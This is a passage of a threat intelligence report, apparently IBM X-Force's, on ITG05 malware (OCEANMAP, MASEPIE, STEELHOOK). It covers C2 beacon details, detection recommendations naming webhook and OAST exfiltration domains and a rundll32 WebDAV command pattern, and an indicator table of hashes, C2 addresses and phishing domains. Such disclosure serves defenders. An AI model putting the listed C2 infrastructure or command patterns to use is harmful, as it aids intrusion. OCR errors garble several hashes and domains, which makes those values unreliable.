The function above generates the emails placed into the IMAP inbox used for C2 communication to return responses.
OCEANMAP supports two new parameters in the email-type beacons. The first, “name_id” is a Base64 encoded string of
the formatted machine name, username and OS version. The second new parameter “newtime”, is a hardcoded string

“newtimel:” followed by a long string of zeroes, for example:
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)O00000000
000000000

The integer directly after newtime (1) denotes the time interval in minutes, how regularly the malware checks for new

commands in the inbox.
STEELHOOK stealer

STEELHOOK is a simple PowerShell stealer, likely modified from the PowerShell webhook keylogger found in the PoshC2
framework. It likely replaces the functionality of CREDOMAP as it exfiltrates browser data from Google Chrome and
Microsoft Edge via a webhook. According to Google TAG, which tracks the stealer as IRONJAW, the malware was used
previously in campaigns from July through August, and September 2023. The activity was attributed to FROZENLAKE,
which overlaps with ITGO5.

Actions on objective

As stated in the December 2023 CERT-UA report, operations featuring this new ITGO5 activity exhibited near immediate
follow-on actions, including the deployment of backdoors, initiating network reconnaissance activities, and attempting

lateral movement to access domain controllers within one hour of the initial attack. It should be noted that NTLMv2 hashes
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exfiltrated during an attack are likely to be used in NTLM relay attacks or used for the offline cracking of credentials. A
successful relay attack for instance against a Microsoft Exchange server facilitated through CVE-2024-21410 could lead to

elevated privileges.

Conclusion

ITGO5 remains adaptable to changes in opportunity by delivering new infection methodologies and leveraging commercially
available infrastructure, while consistently evolving malware capabilities. X-Force assesses with high confidence that ITG05
will continue to leverage attacks against world governments and their political apparatus to provide Russia with advanced

insight into emergent policy decisions.

Technical recommendations

X-Force recommends entities with an increased risk to maintain a defensive security posture and to:

» Monitor for emails containing *.firstcloudit[.Jcom URLs
 Stay abreast of newly published exploits likely to be used by APT actors
o CVE-2024-21413
o CVE-2024-21410
o CVE-2023-23397
o CVE-2023-35636
e Block NTLMv2 authentication, especially for outgoing connections, and use Kerberos for authentication instead
» Monitor for abuse of “search-ms” and “wpa” URI handlers
» Monitor for abuse of WebDAV
o Process: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <malicious_URL>
» Monitor for .LNK files downloaded from or referencing WebDAYV servers
» Monitor network traffic for signs of webhooks/OOB communication services
o *webhook[.]site
o * oast[.]fun
o * oast[.]pro
o * oast[.]live
o * oast[.]site
o * oast[.]online
o * oast[.]Jme
e Monitor for suspicious Python files spawning cmd exe
» Monitor for raw TCP traffic containing the string “<SEPARATOR>" as an indicator of a MASEPIE infection
e Monitor for suspicious IMAP traffic to unknown servers
e Monitor for IMAP traffic containing the string
“newtime1:00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000C
as an indicator for an OCEANMAP infection
 Install and configure endpoint security software
 Update relevant network security monitoring rules

 Educate staff on the potential threats to the organization

Indicators of compromise

This table includes campaigns previously reported on by InsideTheLab and CERT-UA for completeness:
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Indicator Indicator Type Context

18f891a3737bb53cd1ab451e2140654a376a43b2d75

SHA256 MASEPIE backdoor
f6695f3133d47a41952b6
451f3d427ac21632f38619ef96dece25798918866d4

SHA256 MASEPIE backdoor
4fe82ff1ed30996f998dc
40a7fd89b9e51b0a515ac2355036d203357be90a22

SHA256 MASEPIE backdoor
00b9c506b95c12db54c7aa
172.114.170[.]18:55155 URL MASEPIE C2 server
194.126.178[.]18:55555 URL MASEPIE C2 server
148.252.42[.142:54467 URL MASEPIE C2 server
24£d571600dccO0bf2bb8577c7e4fd67275f7d19d8

SHA256 OCEANMAP backdoor
52b909395bebcbb1274e04
74.124.219[.]171 IPv4 OCEANMAP C2 server
webmail.facadesolutionsuae[.]com Domain OCEANMAP C2 server
wody-info-files.firstcloudit[.Jcom Domain Phishing/impersonation site
kzgw-wody.firstcloudit[.]Jcom Domain Phishing/impersonation site
nas-files.firstcloudit[.Jcom Domain Phishing/impersonation site
e-nas.firstcloudit[.]Jcom Domain Phishing/impersonation site
ua-calendar.firstcloudit[.]com Domain Phishing/impersonation site
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calendarua.firstcloudit[.]Jcom

calendar-ua.firstcloudit[.]com

e-gov-am.firstcloudit[.]Jcom

e-gov.firstcloudit[.]Jcom

info-mod.firstcloudit[.]com

e-mod.firstcloudit[.]Jcom

rada-zakon.firstcloudit[.]Jcom

militarysupport.firstcloudit[.]Jcom

sgg-files.firstcloudit[.]Jcom

sgg-gov.firstcloudit[.]Jcom

presidencia-docs.firstcloudit[.]Jcom

files-presidencia.firstcloudit[.Jcom

e-presidencia.firstcloudit[.]Jcom

presidencia-files.firstcloudit[.]Jcom

presidencia-gov.firstcloudit[.]Jcom

presidencia-gob.firstcloudit[.]Jcom
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Domain

Domain

Domain

Domain

Domain

Domain

Domain

Domain

Domain

Domain

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site

Phishing/impersonation site
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gesd.firstcloudit[.]Jcom Domain Phishing/impersonation site
emod.firstcloudit[.]com Domain Phishing/impersonation site
e-military.firstcloudit[.Jcom Domain Phishing/impersonation site
dls-gov.firstcloudit[.]Jcom Domain Phishing/impersonation site
eecommission.firstcloudit[.]Jcom Domain Phishing/impersonation site
eecommission-drive.firstcloudit[.]Jcom Domain Phishing/impersonation site

64b0037dde987c78edf807a1bd7f09cdfac072ec2
a59954cc4918828b7e608a3

SHA256 STEELHOOK stealer

Source: https://securityintelligence.com/x-force/itg05-leverages-malware-arsenal/
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